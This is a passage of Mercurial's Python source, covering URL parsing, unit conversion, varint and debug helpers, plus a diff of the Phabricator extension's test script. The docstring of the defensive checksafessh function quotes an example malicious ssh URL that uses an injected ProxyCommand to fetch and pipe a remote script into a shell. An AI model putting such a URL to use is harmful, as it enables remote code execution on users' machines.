                     # path of file:///d:/ is d:/, not /d:/
                     if path and not hasdriveletter(path):
                         path = b'/' + path
 
             if self.host and b'@' in self.host:
                 self.user, self.host = self.host.rsplit(b'@', 1)
                 if b':' in self.user:
                     self.user, self.passwd = self.user.split(b':', 1)
                 if not self.host:
                     self.host = None
 
             # Don't split on colons in IPv6 addresses without ports
             if (
                 self.host
                 and b':' in self.host
                 and not (
                     self.host.startswith(b'[') and self.host.endswith(b']')
                 )
             ):
                 self._hostport = self.host
                 self.host, self.port = self.host.rsplit(b':', 1)
                 if not self.host:
                     self.host = None
 
             if (
                 self.host
                 and self.scheme == b'file'
                 and self.host not in (b'localhost', b'127.0.0.1', b'[::1]')
             ):
                 raise error.Abort(
                     _(b'file:// URLs can only refer to localhost')
                 )
 
         self.path = path
 
         # leave the query string escaped
         for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'):
             v = getattr(self, a)
             if v is not None:
                 setattr(self, a, urlreq.unquote(v))
 
     @encoding.strmethod
     def __repr__(self):
         attrs = []
         for a in (
             b'scheme',
             b'user',
             b'passwd',
             b'host',
             b'port',
             b'path',
             b'query',
             b'fragment',
         ):
             v = getattr(self, a)
             if v is not None:
                 attrs.append(b'%s: %r' % (a, pycompat.bytestr(v)))
         return b'<url %s>' % b', '.join(attrs)
 
     def __bytes__(self):
         r"""Join the URL's components back into a URL string.
 
         Examples:
 
         >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
         'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
         >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
         'http://user:pw@host:80/?foo=bar&baz=42'
         >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
         'http://user:pw@host:80/?foo=bar%3dbaz'
         >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
         'ssh://user:pw@[::1]:2200//home/joe#'
         >>> bytes(url(b'http://localhost:80//'))
         'http://localhost:80//'
         >>> bytes(url(b'http://localhost:80/'))
         'http://localhost:80/'
         >>> bytes(url(b'http://localhost:80'))
         'http://localhost:80/'
         >>> bytes(url(b'bundle:foo'))
         'bundle:foo'
         >>> bytes(url(b'bundle://../foo'))
         'bundle:../foo'
         >>> bytes(url(b'path'))
         'path'
         >>> bytes(url(b'file:///tmp/foo/bar'))
         'file:///tmp/foo/bar'
         >>> bytes(url(b'file:///c:/tmp/foo/bar'))
         'file:///c:/tmp/foo/bar'
         >>> print(url(br'bundle:foo\bar'))
         bundle:foo\bar
         >>> print(url(br'file:///D:\data\hg'))
         file:///D:\data\hg
         """
         if self._localpath:
             s = self.path
             if self.scheme == b'bundle':
                 s = b'bundle:' + s
             if self.fragment:
                 s += b'#' + self.fragment
             return s
 
         s = self.scheme + b':'
         if self.user or self.passwd or self.host:
             s += b'//'
         elif self.scheme and (
             not self.path
             or self.path.startswith(b'/')
             or hasdriveletter(self.path)
         ):
             s += b'//'
             if hasdriveletter(self.path):
                 s += b'/'
         if self.user:
             s += urlreq.quote(self.user, safe=self._safechars)
         if self.passwd:
             s += b':' + urlreq.quote(self.passwd, safe=self._safechars)
         if self.user or self.passwd:
             s += b'@'
         if self.host:
             if not (self.host.startswith(b'[') and self.host.endswith(b']')):
                 s += urlreq.quote(self.host)
             else:
                 s += self.host
         if self.port:
             s += b':' + urlreq.quote(self.port)
         if self.host:
             s += b'/'
         if self.path:
             # TODO: similar to the query string, we should not unescape the
             # path when we store it, the path might contain '%2f' = '/',
             # which we should *not* escape.
             s += urlreq.quote(self.path, safe=self._safepchars)
         if self.query:
             # we store the query in escaped form.
             s += b'?' + self.query
         if self.fragment is not None:
             s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars)
         return s
 
     __str__ = encoding.strmethod(__bytes__)
 
     def authinfo(self):
         user, passwd = self.user, self.passwd
         try:
             self.user, self.passwd = None, None
             s = bytes(self)
         finally:
             self.user, self.passwd = user, passwd
         if not self.user:
             return (s, None)
         # authinfo[1] is passed to urllib2 password manager, and its
         # URIs must not contain credentials. The host is passed in the
         # URIs list because Python < 2.4.3 uses only that to search for
         # a password.
         return (s, (None, (s, self.host), self.user, self.passwd or b''))
 
     def isabs(self):
         if self.scheme and self.scheme != b'file':
             return True  # remote URL
         if hasdriveletter(self.path):
             return True  # absolute for our purposes - can't be joined()
         if self.path.startswith(br'\\'):
             return True  # Windows UNC path
         if self.path.startswith(b'/'):
             return True  # POSIX-style
         return False
 
     def localpath(self):
         if self.scheme == b'file' or self.scheme == b'bundle':
             path = self.path or b'/'
             # For Windows, we need to promote hosts containing drive
             # letters to paths with drive letters.
             if hasdriveletter(self._hostport):
                 path = self._hostport + b'/' + self.path
             elif (
                 self.host is not None and self.path and not hasdriveletter(path)
             ):
                 path = b'/' + path
             return path
         return self._origpath
 
     def islocal(self):
         '''whether localpath will return something that posixfile can open'''
         return (
             not self.scheme
             or self.scheme == b'file'
             or self.scheme == b'bundle'
         )
 
 
 def hasscheme(path):
     return bool(url(path).scheme)
 
 
 def hasdriveletter(path):
     return path and path[1:2] == b':' and path[0:1].isalpha()
 
 
 def urllocalpath(path):
     return url(path, parsequery=False, parsefragment=False).localpath()
 
 
 def checksafessh(path):
     """check if a path / url is a potentially unsafe ssh exploit (SEC)
 
     This is a sanity check for ssh urls. ssh will parse the first item as
     an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
     Let's prevent these potentially exploited urls entirely and warn the
     user.
 
     Raises an error.Abort when the url is unsafe.
     """
     path = urlreq.unquote(path)
     if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'):
         raise error.Abort(
             _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),)
         )
 
 
 def hidepassword(u):
     '''hide user credential in a url string'''
     u = url(u)
     if u.passwd:
         u.passwd = b'***'
     return bytes(u)
 
 
 def removeauth(u):
     '''remove all authentication information from a url string'''
     u = url(u)
     u.user = u.passwd = None
     return bytes(u)
 
 
 timecount = unitcountfn(
     (1, 1e3, _(b'%.0f s')),
     (100, 1, _(b'%.1f s')),
     (10, 1, _(b'%.2f s')),
     (1, 1, _(b'%.3f s')),
     (100, 0.001, _(b'%.1f ms')),
     (10, 0.001, _(b'%.2f ms')),
     (1, 0.001, _(b'%.3f ms')),
     (100, 0.000001, _(b'%.1f us')),
     (10, 0.000001, _(b'%.2f us')),
     (1, 0.000001, _(b'%.3f us')),
     (100, 0.000000001, _(b'%.1f ns')),
     (10, 0.000000001, _(b'%.2f ns')),
     (1, 0.000000001, _(b'%.3f ns')),
 )
 
 
 @attr.s
 class timedcmstats(object):
     """Stats information produced by the timedcm context manager on entering."""
 
     # the starting value of the timer as a float (meaning and resulution is
     # platform dependent, see util.timer)
     start = attr.ib(default=attr.Factory(lambda: timer()))
     # the number of seconds as a floating point value; starts at 0, updated when
     # the context is exited.
     elapsed = attr.ib(default=0)
     # the number of nested timedcm context managers.
     level = attr.ib(default=1)
 
     def __bytes__(self):
         return timecount(self.elapsed) if self.elapsed else b'<unknown>'
 
     __str__ = encoding.strmethod(__bytes__)
 
 
 @contextlib.contextmanager
 def timedcm(whencefmt, *whenceargs):
     """A context manager that produces timing information for a given context.
 
     On entering a timedcmstats instance is produced.
 
     This context manager is reentrant.
 
     """
     # track nested context managers
     timedcm._nested += 1
     timing_stats = timedcmstats(level=timedcm._nested)
     try:
         with tracing.log(whencefmt, *whenceargs):
             yield timing_stats
     finally:
         timing_stats.elapsed = timer() - timing_stats.start
         timedcm._nested -= 1
 
 
 timedcm._nested = 0
 
 
 def timed(func):
     '''Report the execution time of a function call to stderr.
 
     During development, use as a decorator when you need to measure
     the cost of a function, e.g. as follows:
 
     @util.timed
     def foo(a, b, c):
         pass
     '''
 
     def wrapper(*args, **kwargs):
         with timedcm(pycompat.bytestr(func.__name__)) as time_stats:
             result = func(*args, **kwargs)
         stderr = procutil.stderr
         stderr.write(
             b'%s%s: %s\n'
             % (
                 b' ' * time_stats.level * 2,
                 pycompat.bytestr(func.__name__),
                 time_stats,
             )
         )
         return result
 
     return wrapper
 
 
 _sizeunits = (
     (b'm', 2 ** 20),
     (b'k', 2 ** 10),
     (b'g', 2 ** 30),
     (b'kb', 2 ** 10),
     (b'mb', 2 ** 20),
     (b'gb', 2 ** 30),
     (b'b', 1),
 )
 
 
 def sizetoint(s):
     '''Convert a space specifier to a byte count.
 
     >>> sizetoint(b'30')
     30
     >>> sizetoint(b'2.2kb')
     2252
     >>> sizetoint(b'6M')
     6291456
     '''
     t = s.strip().lower()
     try:
         for k, u in _sizeunits:
             if t.endswith(k):
                 return int(float(t[: -len(k)]) * u)
         return int(t)
     except ValueError:
         raise error.ParseError(_(b"couldn't parse size: %s") % s)
 
 
 class hooks(object):
     '''A collection of hook functions that can be used to extend a
     function's behavior. Hooks are called in lexicographic order,
     based on the names of their sources.'''
 
     def __init__(self):
         self._hooks = []
 
     def add(self, source, hook):
         self._hooks.append((source, hook))
 
     def __call__(self, *args):
         self._hooks.sort(key=lambda x: x[0])
         results = []
         for source, hook in self._hooks:
             results.append(hook(*args))
         return results
 
 
 def getstackframes(skip=0, line=b' %-*s in %s\n', fileline=b'%s:%d', depth=0):
     '''Yields lines for a nicely formatted stacktrace.
     Skips the 'skip' last entries, then return the last 'depth' entries.
     Each file+linenumber is formatted according to fileline.
     Each line is formatted according to line.
     If line is None, it yields:
       length of longest filepath+line number,
       filepath+linenumber,
       function
 
     Not be used in production code but very convenient while developing.
     '''
     entries = [
         (fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
         for fn, ln, func, _text in traceback.extract_stack()[: -skip - 1]
     ][-depth:]
     if entries:
         fnmax = max(len(entry[0]) for entry in entries)
         for fnln, func in entries:
             if line is None:
                 yield (fnmax, fnln, func)
             else:
                 yield line % (fnmax, fnln, func)
 
 
 def debugstacktrace(
     msg=b'stacktrace',
     skip=0,
     f=procutil.stderr,
     otherf=procutil.stdout,
     depth=0,
     prefix=b'',
 ):
     '''Writes a message to f (stderr) with a nicely formatted stacktrace.
     Skips the 'skip' entries closest to the call, then show 'depth' entries.
     By default it will flush stdout first.
     It can be used everywhere and intentionally does not require an ui object.
     Not be used in production code but very convenient while developing.
     '''
     if otherf:
         otherf.flush()
     f.write(b'%s%s at:\n' % (prefix, msg.rstrip()))
     for line in getstackframes(skip + 1, depth=depth):
         f.write(prefix + line)
     f.flush()
 
 
 # convenient shortcut
 dst = debugstacktrace
 
 
 def safename(f, tag, ctx, others=None):
     """
     Generate a name that it is safe to rename f to in the given context.
 
     f:      filename to rename
     tag:    a string tag that will be included in the new name
     ctx:    a context, in which the new name must not exist
     others: a set of other filenames that the new name must not be in
 
     Returns a file name of the form oldname~tag[~number] which does not exist
     in the provided context and is not in the set of other names.
     """
     if others is None:
         others = set()
 
     fn = b'%s~%s' % (f, tag)
     if fn not in ctx and fn not in others:
         return fn
     for n in itertools.count(1):
         fn = b'%s~%s~%s' % (f, tag, n)
         if fn not in ctx and fn not in others:
             return fn
 
 
 def readexactly(stream, n):
     '''read n bytes from stream.read and abort if less was available'''
     s = stream.read(n)
     if len(s) < n:
         raise error.Abort(
             _(b"stream ended unexpectedly (got %d bytes, expected %d)")
             % (len(s), n)
         )
     return s
 
 
 def uvarintencode(value):
     """Encode an unsigned integer value to a varint.
 
     A varint is a variable length integer of 1 or more bytes. Each byte
     except the last has the most significant bit set. The lower 7 bits of
     each byte store the 2's complement representation, least significant group
     first.
 
     >>> uvarintencode(0)
     '\\x00'
     >>> uvarintencode(1)
     '\\x01'
     >>> uvarintencode(127)
     '\\x7f'
     >>> uvarintencode(1337)
     '\\xb9\\n'
     >>> uvarintencode(65536)
     '\\x80\\x80\\x04'
     >>> uvarintencode(-1)
     Traceback (most recent call last):
         ...
     ProgrammingError: negative value for uvarint: -1
     """
     if value < 0:
         raise error.ProgrammingError(b'negative value for uvarint: %d' % value)
     bits = value & 0x7F
     value >>= 7
     bytes = []
     while value:
         bytes.append(pycompat.bytechr(0x80 | bits))
         bits = value & 0x7F
         value >>= 7
     bytes.append(pycompat.bytechr(bits))
 
     return b''.join(bytes)
 
 
 def uvarintdecodestream(fh):
     """Decode an unsigned variable length integer from a stream.
 
     The passed argument is anything that has a ``.read(N)`` method.
 
     >>> try:
     ...     from StringIO import StringIO as BytesIO
     ... except ImportError:
     ...     from io import BytesIO
     >>> uvarintdecodestream(BytesIO(b'\\x00'))
     0
     >>> uvarintdecodestream(BytesIO(b'\\x01'))
     1
     >>> uvarintdecodestream(BytesIO(b'\\x7f'))
     127
     >>> uvarintdecodestream(BytesIO(b'\\xb9\\n'))
     1337
     >>> uvarintdecodestream(BytesIO(b'\\x80\\x80\\x04'))
     65536
     >>> uvarintdecodestream(BytesIO(b'\\x80'))
     Traceback (most recent call last):
         ...
     Abort: stream ended unexpectedly (got 0 bytes, expected 1)
     """
     result = 0
     shift = 0
     while True:
         byte = ord(readexactly(fh, 1))
         result |= (byte & 0x7F) << shift
         if not (byte & 0x80):
             return result
         shift += 7

tests/test-phabricator.t

@@ -1,311 +1,326 b''
 #require vcr
   $ cat >> $HGRCPATH <<EOF
   > [extensions]
   > phabricator = 
   > EOF
   $ hg init repo
   $ cd repo
   $ cat >> .hg/hgrc <<EOF
   > [phabricator]
   > url = https://phab.mercurial-scm.org/
   > callsign = HG
   > 
   > [auth]
   > hgphab.schemes = https
   > hgphab.prefix = phab.mercurial-scm.org
   > # When working on the extension and making phabricator interaction
   > # changes, edit this to be a real phabricator token. When done, edit
   > # it back. The VCR transcripts will be auto-sanitised to replace your real
   > # token with this value.
   > hgphab.phabtoken = cli-hahayouwish
   > EOF
   $ VCR="$TESTDIR/phabricator"
 
 Error is handled reasonably. We override the phabtoken here so that
 when you're developing changes to phabricator.py you can edit the
 above config and have a real token in the test but not have to edit
 this test.
   $ hg phabread --config auth.hgphab.phabtoken=cli-notavalidtoken \
   >  --test-vcr "$VCR/phabread-conduit-error.json" D4480 | head
   abort: Conduit Error (ERR-INVALID-AUTH): API token "cli-notavalidtoken" has the wrong length. API tokens should be 32 characters long.
 
+Missing arguments print the command help
+
+  $ hg phabread
+  hg phabread: invalid arguments
+  hg phabread DREVSPEC [OPTIONS]
+  
+  print patches from Phabricator suitable for importing
+  
+  options:
+  
+    --stack read dependencies
+  
+  (use 'hg phabread -h' to show more help)
+  [255]
+
 Basic phabread:
   $ hg phabread --test-vcr "$VCR/phabread-4480.json" D4480 | head
   # HG changeset patch
   # Date 1536771503 0
   # Parent  a5de21c9e3703f8e8eb064bd7d893ff2f703c66a
   exchangev2: start to implement pull with wire protocol v2
   
   Wire protocol version 2 will take a substantially different
   approach to exchange than version 1 (at least as far as pulling
   is concerned).
   
   This commit establishes a new exchangev2 module for holding
 
 phabupdate with an accept:
   $ hg phabupdate --accept D4564 \
   > -m 'I think I like where this is headed. Will read rest of series later.'\
   >  --test-vcr "$VCR/accept-4564.json"
   abort: Conduit Error (ERR-CONDUIT-CORE): Validation errors:
     - You can not accept this revision because it has already been closed. Only open revisions can be accepted.
   [255]
   $ hg phabupdate --accept D7913 -m 'LGTM' --test-vcr "$VCR/accept-7913.json"
 
 Create a differential diff:
   $ HGENCODING=utf-8; export HGENCODING
   $ echo alpha > alpha
   $ hg ci --addremove -m 'create alpha for phabricator test €'
   adding alpha
   $ hg phabsend -r . --test-vcr "$VCR/phabsend-create-alpha.json"
   D7915 - created - d386117f30e6: create alpha for phabricator test \xe2\x82\xac (esc)
   saved backup bundle to $TESTTMP/repo/.hg/strip-backup/d386117f30e6-24ffe649-phabsend.hg
   $ echo more >> alpha
   $ HGEDITOR=true hg ci --amend
   saved backup bundle to $TESTTMP/repo/.hg/strip-backup/347bf67801e5-3bf313e4-amend.hg
   $ echo beta > beta
   $ hg ci --addremove -m 'create beta for phabricator test'
   adding beta
   $ hg phabsend -r ".^::" --test-vcr "$VCR/phabsend-update-alpha-create-beta.json"
   D7915 - updated - c44b38f24a45: create alpha for phabricator test \xe2\x82\xac (esc)
   D7916 - created - 9e6901f21d5b: create beta for phabricator test
   saved backup bundle to $TESTTMP/repo/.hg/strip-backup/9e6901f21d5b-1fcd4f0e-phabsend.hg
   $ unset HGENCODING
 
 The amend won't explode after posting a public commit.  The local tag is left
 behind to identify it.
 
   $ echo 'public change' > beta
   $ hg ci -m 'create public change for phabricator testing'
   $ hg phase --public .
   $ echo 'draft change' > alpha
   $ hg ci -m 'create draft change for phabricator testing'
   $ hg phabsend --amend -r '.^::' --test-vcr "$VCR/phabsend-create-public.json"
   D7917 - created - 7b4185ab5d16: create public change for phabricator testing
   D7918 - created - 251c1c333fc6: create draft change for phabricator testing
   warning: not updating public commit 2:7b4185ab5d16
   saved backup bundle to $TESTTMP/repo/.hg/strip-backup/251c1c333fc6-41cb7c3b-phabsend.hg
   $ hg tags -v
   tip                                3:3244dc4a3334
   D7917                              2:7b4185ab5d16 local
 
   $ hg debugcallconduit user.search --test-vcr "$VCR/phab-conduit.json" <<EOF
   > {
   >     "constraints": {
   >         "isBot": true
   >     }
   > }
   > EOF
   {
     "cursor": {
       "after": null,
       "before": null,
       "limit": 100,
       "order": null
     },
     "data": [],
     "maps": {},
     "query": {
       "queryKey": null
     }
   }
 
 Template keywords
   $ hg log -T'{rev} {phabreview|json}\n'
   3 {"id": "D7918", "url": "https://phab.mercurial-scm.org/D7918"}
   2 {"id": "D7917", "url": "https://phab.mercurial-scm.org/D7917"}
   1 {"id": "D7916", "url": "https://phab.mercurial-scm.org/D7916"}
   0 {"id": "D7915", "url": "https://phab.mercurial-scm.org/D7915"}
 
   $ hg log -T'{rev} {if(phabreview, "{phabreview.url} {phabreview.id}")}\n'
   3 https://phab.mercurial-scm.org/D7918 D7918
   2 https://phab.mercurial-scm.org/D7917 D7917
   1 https://phab.mercurial-scm.org/D7916 D7916
   0 https://phab.mercurial-scm.org/D7915 D7915
 
 Commenting when phabsending:
   $ echo comment > comment
   $ hg ci --addremove -m "create comment for phabricator test"
   adding comment
   $ hg phabsend -r . -m "For default branch" --test-vcr "$VCR/phabsend-comment-created.json"
   D7919 - created - d5dddca9023d: create comment for phabricator test
   saved backup bundle to $TESTTMP/repo/.hg/strip-backup/d5dddca9023d-adf673ba-phabsend.hg
   $ echo comment2 >> comment
   $ hg ci --amend
   saved backup bundle to $TESTTMP/repo/.hg/strip-backup/f7db812bbe1d-8fcded77-amend.hg
   $ hg phabsend -r . -m "Address review comments" --test-vcr "$VCR/phabsend-comment-updated.json"
   D7919 - updated - 1849d7828727: create comment for phabricator test
 
 Phabsending a skipped commit:
   $ hg phabsend --no-amend -r . --test-vcr "$VCR/phabsend-skipped.json"
   D7919 - skipped - 1849d7828727: create comment for phabricator test
 
 Phabesending a new binary, a modified binary, and a removed binary
 
   >>> open('bin', 'wb').write(b'\0a') and None
   $ hg ci -Am 'add binary'
   adding bin
   >>> open('bin', 'wb').write(b'\0b') and None
   $ hg ci -m 'modify binary'
   $ hg rm bin
   $ hg ci -m 'remove binary'
   $ hg phabsend -r .~2:: --test-vcr "$VCR/phabsend-binary.json"
   uploading bin@aa24a81f55de
   D8007 - created - aa24a81f55de: add binary
   uploading bin@d8d62a881b54
   D8008 - created - d8d62a881b54: modify binary
   D8009 - created - af55645b2e29: remove binary
   saved backup bundle to $TESTTMP/repo/.hg/strip-backup/aa24a81f55de-a3a0cf24-phabsend.hg
 
 Phabsend a renamed binary and a copied binary, with and without content changes
 to src and dest
 
   >>> open('bin2', 'wb').write(b'\0c') and None
   $ hg ci -Am 'add another binary'
   adding bin2
 
 TODO: "bin2" can't be viewed in this commit (left or right side), and the URL
 looks much different than when viewing "bin2_moved".  No idea if this is a phab
 bug, or phabsend bug.  The patch (as printed by phabread) look reasonable
 though.
 
   $ hg mv bin2 bin2_moved
   $ hg ci -m "moved binary"
 
 Note: "bin2_moved" is also not viewable in phabricator with this review
 
   $ hg cp bin2_moved bin2_copied
   $ hg ci -m "copied binary"
 
 Note: "bin2_moved_again" is marked binary in phabricator, and both sides of it
 are viewable in their proper state.  "bin2_copied" is not viewable, and not
 listed as binary in phabricator.
 
   >>> open('bin2_copied', 'wb').write(b'\0move+mod') and None
   $ hg mv bin2_copied bin2_moved_again
   $ hg ci -m "move+mod copied binary"
 
 Note: "bin2_moved" and "bin2_moved_copy" are both marked binary, and both
 viewable on each side.
 
   >>> open('bin2_moved', 'wb').write(b'\0precopy mod') and None
   $ hg cp bin2_moved bin2_moved_copied
   >>> open('bin2_moved', 'wb').write(b'\0copy src+mod') and None
   $ hg ci -m "copy+mod moved binary"
 
   $ hg phabsend -r .~4:: --test-vcr "$VCR/phabsend-binary-renames.json"
   uploading bin2@f42f9195e00c
   D8128 - created - f42f9195e00c: add another binary
   D8129 - created - 834ab31d80ae: moved binary
   D8130 - created - 494b750e5194: copied binary
   uploading bin2_moved_again@25f766b50cc2
   D8131 - created - 25f766b50cc2: move+mod copied binary
   uploading bin2_moved_copied@1b87b363a5e4
   uploading bin2_moved@1b87b363a5e4
   D8132 - created - 1b87b363a5e4: copy+mod moved binary
   saved backup bundle to $TESTTMP/repo/.hg/strip-backup/f42f9195e00c-e82a0769-phabsend.hg
 
 Phabreading a DREV with a local:commits time as a string:
   $ hg phabread --test-vcr "$VCR/phabread-str-time.json" D1285
   # HG changeset patch
   # User Pulkit Goyal <[e-mail]>
   # Date 1509404054 -19800
   # Node ID 44fc1c1f1774a76423b9c732af6938435099bcc5
   # Parent  8feef8ef8389a3b544e0a74624f1efc3a8d85d35
   repoview: add a new attribute _visibilityexceptions and related API
   
   Currently we don't have a defined way in core to make some hidden revisions
   visible in filtered repo. Extensions to achieve the purpose of unhiding some
   hidden commits, wrap repoview.pinnedrevs() function.
   
   To make the above task simple and have well defined API, this patch adds a new
   attribute '_visibilityexceptions' to repoview class which will contains
   the hidden revs which should be exception.
   This will allow to set different exceptions for different repoview objects
   backed by the same unfiltered repo.
   
   This patch also adds API to add revs to the attribute set and get them.
   
   Thanks to Jun for suggesting the use of repoview class instead of localrepo.
   
   Differential Revision: https://phab.mercurial-scm.org/D1285
   diff --git a/mercurial/repoview.py b/mercurial/repoview.py
   --- a/mercurial/repoview.py
   +++ b/mercurial/repoview.py
   @@ * @@ (glob)
        subclasses of `localrepo`. Eg: `bundlerepo` or `statichttprepo`.
        """
    
   +    # hidden revs which should be visible
   +    _visibilityexceptions = set()
   +
        def __init__(self, repo, filtername):
            object.__setattr__(self, r'_unfilteredrepo', repo)
            object.__setattr__(self, r'filtername', filtername)
   @@ -231,6 +234,14 @@
                return self
            return self.unfiltered().filtered(name)
    
   +    def addvisibilityexceptions(self, revs):
   +        """adds hidden revs which should be visible to set of exceptions"""
   +        self._visibilityexceptions.update(revs)
   +
   +    def getvisibilityexceptions(self):
   +        """returns the set of hidden revs which should be visible"""
   +        return self._visibilityexceptions
   +
        # everything access are forwarded to the proxied repo
        def __getattr__(self, attr):
            return getattr(self._unfilteredrepo, attr)
   diff --git a/mercurial/localrepo.py b/mercurial/localrepo.py
   --- a/mercurial/localrepo.py
   +++ b/mercurial/localrepo.py
   @@ -570,6 +570,14 @@
        def close(self):
            self._writecaches()
    
   +    def addvisibilityexceptions(self, exceptions):
   +        # should be called on a filtered repository
   +        pass
   +
   +    def getvisibilityexceptions(self):
   +        # should be called on a filtered repository
   +        return set()
   +
        def _loadextensions(self):
            extensions.loadall(self.ui)
    
   
 A bad .arcconfig doesn't error out
   $ echo 'garbage' > .arcconfig
   $ hg config phabricator --debug
   invalid JSON in $TESTTMP/repo/.arcconfig
   read config from: */.hgrc (glob)
   $TESTTMP/repo/.hg/hgrc:*: phabricator.url=https://phab.mercurial-scm.org/ (glob)
   $TESTTMP/repo/.hg/hgrc:*: phabricator.callsign=HG (glob)
 
 The .arcconfig content overrides global config
   $ cat >> $HGRCPATH << EOF
   > [phabricator]
   > url = global
   > callsign = global
   > EOF
   $ cp $TESTDIR/../.arcconfig .
   $ mv .hg/hgrc .hg/hgrc.bak
   $ hg config phabricator --debug
   read config from: */.hgrc (glob)
   $TESTTMP/repo/.arcconfig: phabricator.callsign=HG
   $TESTTMP/repo/.arcconfig: phabricator.url=https://phab.mercurial-scm.org/
 
 But it doesn't override local config
   $ cat >> .hg/hgrc << EOF
   > [phabricator]
   > url = local
   > callsign = local
   > EOF
   $ hg config phabricator --debug
   read config from: */.hgrc (glob)
   $TESTTMP/repo/.hg/hgrc:*: phabricator.url=local (glob)
   $TESTTMP/repo/.hg/hgrc:*: phabricator.callsign=local (glob)
   $ mv .hg/hgrc.bak .hg/hgrc
 
   $ cd ..